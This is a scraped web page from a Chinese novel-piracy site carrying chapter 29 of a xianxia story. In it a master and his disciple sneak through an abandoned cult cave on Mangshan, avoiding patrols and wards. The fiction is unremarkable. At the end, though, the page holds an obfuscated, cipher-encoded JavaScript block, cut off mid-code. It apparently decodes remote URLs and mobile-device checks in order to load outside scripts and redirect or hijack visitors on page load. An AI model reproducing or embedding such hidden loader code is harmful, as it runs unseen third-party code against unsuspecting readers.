首页
第二十九章 邙山夜行,初探邪
返回
关灯 护眼:关 字号:小

第二十九章 邙山夜行,初探邪窟

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第二十九章邙山夜行,初探邪窟(第1/2页)
    夜色如墨,无星无月。
    两道身影,一青一灰,悄无声息地掠过邙山外围崎岖险峻的山岭。夜风呼啸,带着此地特有的阴寒与淡淡硫磺气息,卷动着山林间终年不散的淡淡灰雾。
    沈清依旧是一袭青衫,气息收敛得如同寻常山石草木,若非刻意感知,几乎难以察觉其存在。他步履从容,如同在自家庭院漫步,但每一步踏出,都恰到好处地避开嶙峋怪石、隐蔽的毒沼、乃至某些潜伏在阴影中、散发阴冷气息的低阶妖虫,速度却快如疾风,身形在山林间留下道道模糊的残影。
    叶枫紧随其后,已是竭尽全力。他换上了一身不起眼的灰布劲装,背负着那柄用布条仔细缠绕、只露出剑柄的残破青铜剑,脸色因高速奔行和紧张而微微泛红,呼吸却竭力保持平稳。他能感觉到,师尊并非全力赶路,而是在刻意控制速度,让他能够跟上,同时也在观察、适应这邙山的环境。周围的阴寒气息让他很不舒服,体内那道初步驯服的先天庚金剑气,似乎对这类环境格外敏感,隐隐有些躁动,被他强行压下。
    “邙山之地,阴煞汇聚,毒虫滋生,更有黑煞宗经营数百年,布下无数明暗禁制、陷阱、眼线。”沈清的声音平淡地传入叶枫耳中,用的是一种奇特的传音之法,不散于外,“你需记牢我走过的每一步,留意空气中灵力流转的细微变化,阴影中不自然的轮廓,甚至……风中气味的不同。这些,皆是生存之本。”
    “是,师尊。”叶枫凝神应道,目光锐利地扫视四周,努力将沈清行进的路线、周围环境特征记在心中。他能看到,师尊经过某些地方时,会以极快的速度、极隐蔽的手法,弹出几道微不可察的灵光,没入地下或树梢,似乎在干扰或屏蔽着什么。显然,那些地方便有黑煞宗布下的警戒手段。
    “前方三里,有一处小型‘阴风洞’,是黑煞宗外围弟子采集‘阴风草’与‘蚀骨虫’的据点,常有两名炼气后期弟子值守。”沈清继续指点,仿佛对此地了如指掌,“绕行,从西侧山脊背风处通过,那里有一处天然的地气紊乱带,可遮掩行迹。”
    叶枫心中凛然。师尊对这邙山地形的熟悉程度,远超他想象。看来,师尊早已通过各种手段,将黑煞宗外围摸得一清二楚。
    两人如同两道融入夜色的幽魂,避开了一处又一处可能有黑煞宗活动的区域。越往邙山深处,空气中的阴煞之气便越浓,灰雾也越发厚重,能见度大降。神识在此地受到明显压制,以叶枫炼气七层的神识,只能勉强探出周身十丈,便被阴冷粘稠的煞气阻隔、侵蚀。若非有师尊在前引路,他感觉自己早已迷失在这片充满恶意的群山之中。
    “师尊,这里的阴气,似乎比落风坡那边更加……污浊。”叶枫忍不住低声道。落风坡的阴气虽重,但更偏向于古战场的肃杀与怨念,而此地的阴气,却混杂着一种令人作呕的腥甜与腐朽,仿佛无数生灵的痛苦与绝望在此沉淀、发酵。
    “黑煞宗功法,以炼化生灵魂魄、精血、怨煞提升修为,其山门所在,经年累月,自然汇聚、滋生出这等污秽阴煞。”沈清语气带着一丝冷意,“此地生灵,无论是人是兽,长期受此侵蚀,心性易变,凶残暴戾。故而,与黑煞宗修士交手,绝不可有丝毫怜悯,亦需谨守心神,莫被其煞气所趁。”
    “弟子明白!”叶枫重重点头,想起妹妹所中的“九阴绝脉”,心中对黑煞宗的恨意与警惕更增。
    又前行了约莫半个时辰,已深入邙山百余里。周围已不见任何寻常草木,只有一些色泽暗沉、形态扭曲、散发着诡异光泽的毒草怪藤。山岩呈现暗红色,仿佛被鲜血浸染,空气中弥漫着淡淡的血腥味。偶尔能听到远处传来凄厉短促的惨叫,或是某种野兽(也可能是人)痛苦挣扎的嘶吼,很快又归于沉寂,令人毛骨悚然。
    “到了。”沈清忽然停下脚步,落在一处背靠陡峭崖壁、前方是深不见底幽谷的狭窄平台上。
    叶枫连忙稳住身形,屏息凝神。此处平台不过数丈方圆,布满湿滑的青苔,下方幽谷黑沉沉,不断有冰寒刺骨的阴风打着旋儿涌上,发出“呜呜”的怪响,如同鬼哭。崖壁上,藤蔓掩映间,隐约可见一个半人高、被粗糙石门封闭的洞口,石门颜色与山岩几乎融为一体,若非沈清指出,极难发现。
    “此地,便是黑煞宗一处废弃的‘炼煞洞’入口。”沈清望着那石门,神识如同无形的水波,缓缓扫过石门及周围崖壁,“废弃超过三十年,因洞内地煞失衡,时有阴火爆发,被黑煞宗放弃。但其深处,有一条极隐秘的、天然形成的地脉裂隙,曲折向下,可通往黑煞宗腹地,距离其‘万魂窟’外围,不过十里。”
    叶枫倒吸一口凉气。废弃炼煞洞?通往万魂窟外围?师尊竟连这等隐秘通道都知晓?!
    “此通道,为师亦是偶然得知。”沈清似看出他疑惑,解释道,“黑煞宗行事歹毒,树敌无数,其内部亦非铁板一块。数十年前,曾有一外门长老因触怒厉无涯,携秘图叛逃,虽最终被截杀,但其部分遗物流出,辗转落入为师手中。此图,便标注了数条类似的、连黑煞宗自身都未必完全掌握的隐秘通道。”
    原来如此!叶枫恍然,心中对师尊的敬畏更深。师尊不仅实力通天,心思谋算亦深远无比,竟早已在暗中收集黑煞宗的各种情报软肋。
    “不过,此洞废弃多年,内部情况不明,地煞失衡,阴火爆发虽是借口,但洞内定然残留着大量污秽阴煞与危险禁制,甚至可能有黑煞宗后来布下的警戒后手。”沈清语气转肃,“此行目的,是探查厉无涯‘血魂祭’虚实,寻找其闭关确切位置,非是强闯。从此洞潜入,可避开大部分外围警戒,但亦需万分小心。你体内庚金剑气,锋锐无匹,对阴邪禁制、污秽煞气有一定克制,或可派上用场。但切记,不可冒进,一切听我指令。”
    “是!弟子定当小心,绝不给师尊添乱!”叶枫握紧剑柄,沉声应道。心中既有紧张,也有即将面对仇敌巢穴的激荡。
    沈清不再多言,走到那石门前,伸出右手,五指张开,虚按在石门中心。掌心不见灵光,却有一股无形而精纯的力量透入石门。
    叶枫凝神看去,只见那看似普通的粗糙石门上,竟悄然浮现出数道扭曲的、散发着微弱黑气的符文,如同被惊动的毒蛇,晃动着想要反抗,却在沈清掌下那股力量面前迅速黯淡、崩解。同时,石门与崖壁的接缝处,也有几道几乎不可见的、细如发丝的银色丝线悄然断裂,化于无形。
    显然,这废弃洞口,也被布下了不止一道警示与防御禁制,只是级别不高,被沈清轻易破除。
    “咔哒”一声轻响,石门向内缓缓滑开一线,一股更加浓郁、混杂着陈腐灰尘、阴冷湿气与淡淡焦糊味的浊气扑面而来。
    沈清当先迈入,叶枫紧随其后,反手将石门轻轻合拢,只留一道细微缝隙通风。
    洞内一片漆黑,伸手不见五指,唯有阴风穿过洞隙发出的呜咽声。但对修士而言,黑暗并非障碍。叶枫运起灵力于双目,勉强能看清丈许内的景象。通道狭窄,仅容两人并行,洞壁凹凸不平,布满了开凿的痕迹与某种暗红色的、仿佛干涸血迹的污渍。脚下地面湿滑,散落着一些破碎的瓦罐、锈蚀的工具残骸,以及……零星的人类或妖兽白骨,大多残缺不全,散发着岁月与阴气侵蚀后的惨白光泽。
    空气粘稠阴冷,吸入肺中,带着丝丝刺痛。叶枫体内的庚金剑气自动流转,在经脉中形成一层微弱的锋锐之气,将那试图侵入的阴寒煞气抵住、切割、驱散。这让他好受不少,同时也对自身剑气的特性有了更深体会。
    沈清走在前方,步伐依旧从容,仿佛行走在自家庭院。但他周身三尺内,空气异常“干净”,所有尘埃、阴气、乃至细微的毒虫,都被一股无形的力量排开、净化。他手中不知何时多了一枚鸽卵大小、散发着柔和白光的珠子,并非照明,而是用于探测灵力波动与隐匿的陷阱。
    通道曲折向下,时宽时窄,岔路极多,如同迷宫。沈清却似乎对路线了然于胸,几乎没有任何犹豫,带着叶枫在错综复杂的通道中选择着方向。偶尔,他会停下,示意叶枫噤声,两人隐于阴影,静静等待片刻。叶枫能听到,远处岔道中,隐约有沉重拖沓的脚步声、或低沉的交谈声、或某种生物的嘶鸣传来,又渐渐远去。那是黑煞宗的巡逻弟子,或是被阴煞侵蚀、发生变异的洞中生物。
    有一次,他们经过一处较为宽阔的洞穴,洞顶垂下许多钟乳石般的暗红色石笋,滴滴答答落下粘稠的暗红色液体,在地面汇聚成一小滩,散发着浓烈的血腥与怨念。沈清只看了一眼,便示意叶枫绕行,低声道:“那是‘血怨石’,乃生灵精血怨气经年累月凝结而成,触碰易引动心魔,污秽灵力。此地,恐是黑煞宗处置‘血祭’残渣之所。”
    叶枫看着那滩暗红,想到“血魂祭”,胃中一阵翻腾,对黑煞宗的恶感更甚。
    继续深入,空气中开始出现细微的、灼热的气流,带着硫磺与焦臭。通道四壁温度也在缓缓升高,岩石呈现出被高温灼烧过的暗红与龟裂。远处,隐约传来低沉的、仿佛地火翻涌的“隆隆”声。
    “快到地煞失衡区域了。”沈清停下脚步,目光穿透前方通道的黑暗,“小心,此地残留禁制可能更多,且地煞阴火爆发虽不规律,但威力不小。”
    他取出一张淡黄色的符箓,屈指一弹,符箓化作一道灵光,向前方通道飞去。灵光所过之处,通道两侧岩壁上,骤然亮起数道明灭不定的暗红色纹路,散发出灼热而暴戾的波动,但似乎因为年代久远或能量不足,只是闪烁了几下,并未激发。更深处,则隐约可见地面、洞顶布满了焦黑的灼烧痕迹,以及一些融化后又凝固的、奇形怪状的金属与岩石混合物,显然是曾经地煞阴火爆发留下的。
    (本章未完,请点击下一页继续阅读)第二十九章邙山夜行,初探邪窟(第2/2页)
    “跟紧我,走我走过的地方,一步不可错。”沈清沉声道,当先迈入那片危险区域。
    叶枫屏住呼吸,全神贯注,紧紧跟在沈清身后,每一步都精准地踏在沈清的脚印上。他能感觉到,脚下地面传来不稳定地温热,四周岩壁上那些暗红纹路仿佛有生命般微微脉动,散发出令人心悸的气息。更有一股无形的、混乱而灼热的“场”弥漫在空气中,不断试图侵蚀他的护体灵力与心神,若非庚金剑气自发护体,加上师尊在前开路,以他炼气期的修为,恐怕寸步难行。
    如此小心翼翼地行进了约莫一炷香时间,前方通道豁然开朗,竟是一个巨大的、被掏空的山腹空间!
    空间高约十丈,方圆近百丈,中央是一个直径超过三十丈的、深不见底的漆黑坑洞,坑洞边缘犬牙交错,布满了灼烧与撕裂的痕迹,正是当年地煞阴火的主要喷发口。此刻坑洞沉寂,只有丝丝缕缕的暗红色热气夹杂着刺鼻的硫磺味不断涌出,将整个空间蒸腾得一片扭曲模糊。
    而围绕着这中央坑洞,山腹四周的岩壁上,开凿出了数十个大小不一的洞穴,有些洞穴口还残留着残破的铁门、锈蚀的锁链,以及一些疑似囚笼、刑架、祭坛的残骸。空气中弥漫着浓得化不开的怨气、死气、以及一种令人作呕的、混合了血腥、焦臭与药味的奇异气味。地面上,散落着更多白骨,有些骨骼呈现出诡异的漆黑或暗红色泽,显然生前遭受了非人折磨或邪法侵蚀。
    这里,便是废弃的“炼煞洞”核心,曾经黑煞宗弟子修炼阴毒功法、折磨生灵、进行各种邪恶试验与祭祀的场所!即便废弃数十年,那股沉淀的罪恶与痛苦,依旧浓郁得几乎形成实质。
    叶枫踏入此间的刹那,便觉一股寒意自脚底直冲天灵,并非温度之寒,而是神魂层面感受到的无边怨念与邪恶冲击!他闷哼一声,脸色瞬间发白,体内庚金剑气应激而发,发出“铮”的一声清越剑鸣,在身周形成一道淡金色的、锋锐无匹的气场,将那股无形怨念冲击切割开来,方才好受一些。但他握剑的手,已因用力而指节发白。
    沈清看了他一眼,微微颔首:“能自发以剑气护体,斩却外邪侵扰,不错。此地怨念深重,对你心性亦是考验。守住本心,视诸般怨念如过眼云烟,莫要沉溺其中,亦莫要心生畏惧,否则易被其趁虚而入。”
    “是,师尊。”叶枫深吸一口气,压下心头翻涌的种种负面情绪,眼神重新变得坚定锐利。他是来探查仇敌、拯救妹妹的,岂能被这死地怨念所慑?
    沈清不再多言,目光如电,扫过整个山腹空间,最终定格在中央坑洞对面,一处看似与其他洞穴无异,但位置最为隐蔽、洞口岩壁颜色略深的洞穴。
    “那条地脉裂隙入口,便在那洞穴深处。”沈清传音道,“不过,此地似乎……并非完全废弃。”
    他示意叶枫看向山腹空间几个不起眼的角落。叶枫凝目细看,才隐约发现,那些角落的阴影中,地面上似乎有极其细微的、几乎与灰尘融为一体的暗红色粉末洒成奇异的图案,若不仔细分辨,极易忽略。更有一两根几乎看不见的、纤细如发的透明丝线,横亘在某些通道必经之处,连接着岩壁上几个伪装成石瘤的机关。
    “是警戒陷阱,还有……监视类的法阵残留痕迹。”叶枫低声道,心中凛然。黑煞宗果然没有完全放弃这里,至少留下了后手监控。
    “嗯,布置手法不算高明,但足够隐蔽,应是定期有人前来查看维护。”沈清判断,“看来,这条通道,黑煞宗内部也有人知晓,只是可能权限不高,或将其作为应急备用通道。对我们而言,既是便利,也需更加小心,以防撞上巡查之人。”
    他抬手,弹出数道细若牛毛的淡银色灵光,精准地没入那几个暗红粉末图案与透明丝线节点。灵光闪过,那些粉末图案微微一亮,随即彻底黯淡,失去灵性。透明丝线也悄然断裂、卷曲。做完这些,沈清又取出几面小巧的阵旗,挥手布下一个简易的幻阵与隔音结界,将两人所在区域暂时遮蔽。
    “走,进洞。”沈清率先朝着目标洞穴走去。
    洞穴内部比外面更加狭窄潮湿,蜿蜒向下。前行不远,便到了尽头,是一面看似普通的岩壁。沈清在岩壁某处按特定手法连拍数下,又渡入一缕精纯灵力。岩壁无声地滑开一道仅容一人侧身通过的缝隙,一股更加精纯、却也更加阴冷的地脉气息扑面而来,其中还夹杂着一丝极淡的、令人心神不宁的空间波动。
    缝隙之后,是一条天然形成的、倾斜向下的狭窄裂隙,仅容一人弯腰通过。裂隙两侧岩壁光滑,隐隐有暗蓝色的微光流转,那是浓郁的地脉阴气凝结所致。脚下是湿滑的苔藓与冷凝水,深不见底,只有阴风自下而上呼啸吹过,带着呜咽回响。
    “跟紧。”沈清率先侧身进入裂隙。叶枫连忙跟上,心中既紧张又兴奋。穿过这条裂隙,便能更接近黑煞宗的核心禁地,距离探查到厉无涯的虚实,也更近一步!
    然而,就在两人深入裂隙约百丈,地势开始变得平缓,前方隐约传来微弱流水声与更大空间回响时——
    沈清忽然脚步一顿,抬手示意叶枫止步,同时,一股柔和却不容抗拒的力量将叶枫拉向身侧一块突出的岩石之后隐匿。
    几乎是同时,前方拐角处,传来轻微的脚步声与压低嗓音的交谈。
    “……晦气!每次轮值这鬼地方,阴气入骨,回去得泡三天药浴才能缓过来!”
    “少抱怨了,赶紧检查完‘阴流’和‘怨石’数目,回去交差。听说最近上面催得紧,万魂窟那边好像有大动作,各处资源点都要加强戒备和输送。”
    “还能有什么动作?不就是宗主他老人家……嘘!噤声!不要命了?这也是能议论的?”
    “是是是……不过,这废弃炼煞洞的‘阴怨池’产量一直很稳定,这次怎么也要加倍上缴?难道……”
    “不该问的别问!赶紧干活!检查完东边那几个小洞窟,再去‘血怨坑’那边看看阵法有没有松动,然后立刻回去!我总觉得这地方今晚格外阴森,心里毛毛的……”
    脚步声和交谈声越来越近,显然是两名黑煞宗派来此处巡查、采集特定资源的低阶弟子,修为约在炼气中后期。
    叶枫身体瞬间绷紧,右手已无声地握住了剑柄,看向沈清,等待指令。是战,是避?
    沈清目光平静,神识已将来人情况探明。两人,炼气六层与七层,并无特殊法器或预警手段,只是例行巡查。在此地动手,虽可轻易解决,但难免留下痕迹,打草惊蛇。
    他微微摇头,示意叶枫稍安勿躁,同时袖中手指微动,一道极其淡薄的、几乎与周围阴气融为一体的雾气悄然弥漫开来,笼罩了前方拐角处一小片区域。
    那两名黑煞宗弟子边说边走,转过拐角,踏入雾气范围。两人毫无所觉,依旧低声交谈着,脚步却不知不觉放缓,眼神也略显迷茫,仿佛沉浸在某种疲乏与抱怨的情绪中,对近在咫尺的沈清二人藏身之处视而不见,径直朝着另一个方向的岔道走去,很快脚步声远去,消失在下一条通道中。
    “简单的迷魂幻雾,结合此地阴气环境,可让他们暂时忽略异常,记忆模糊。”沈清淡淡解释,撤去雾气,“走吧,莫要耽搁。”
    叶枫心中对师尊的手段更加佩服。两人迅速穿过拐角,眼前景象又是一变。
    裂隙在此处豁然开朗,形成一个不大的地下洞窟。洞窟一侧岩壁,有一道碗口粗细的暗流涌出,水流漆黑如墨,散发着刺骨阴寒与浓郁怨气,正是那弟子口中的“阴流”,应是地脉阴气与怨念凝结而成。洞窟地面,散落着一些拳头大小、不规则、表面有扭曲人脸纹路的暗红色石头,触手冰冷,隐有哀嚎声,是“怨石”。洞窟中央,则是一个数丈方圆、深约丈许的池子,池水暗红粘稠,不断翻滚着气泡,散发出令人作呕的腥甜血气,正是“阴怨池”。
    而洞窟另一侧,则有一条仅容一人匍匐通过的、更加狭窄幽深的天然孔道,不知通向何方,但其中传来的空间波动与隐隐的地脉牵引感,正是通向“万魂窟”外围的那条地脉裂隙!
    “便是此处了。”沈清目光扫过阴怨池与那些怨石,眼中冷意更甚。这些,皆是黑煞宗以邪法炼制、用以修炼或进行某种邪恶仪式的资源。他挥手将池边几块品质最高的怨石与一小瓶浓缩的阴怨池水收起(或许日后研究或对付黑煞宗有用),便不再停留,走向那条狭窄孔道。
    “进去后,收敛所有气息,灵力波动降至最低。前方十里,便是黑煞宗禁地边缘,稍有异动,便可能惊动守卫或阵法。”沈清叮嘱叶枫,率先俯身钻入孔道。
    叶枫深吸一口气,压下心中翻腾的情绪,将周身灵力与剑气收敛到极致,如同最灵巧的狸猫,紧随沈清之后,钻入了那深不见底、仿佛巨兽喉咙的黑暗孔道之中。
    更深处,更浓郁的阴煞,以及可能存在的致命危险,正在前方等待着他们。
    而黑煞宗最大的秘密,厉无涯的“血魂祭”,其冰山一角,或许即将在师徒二人眼前揭开。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 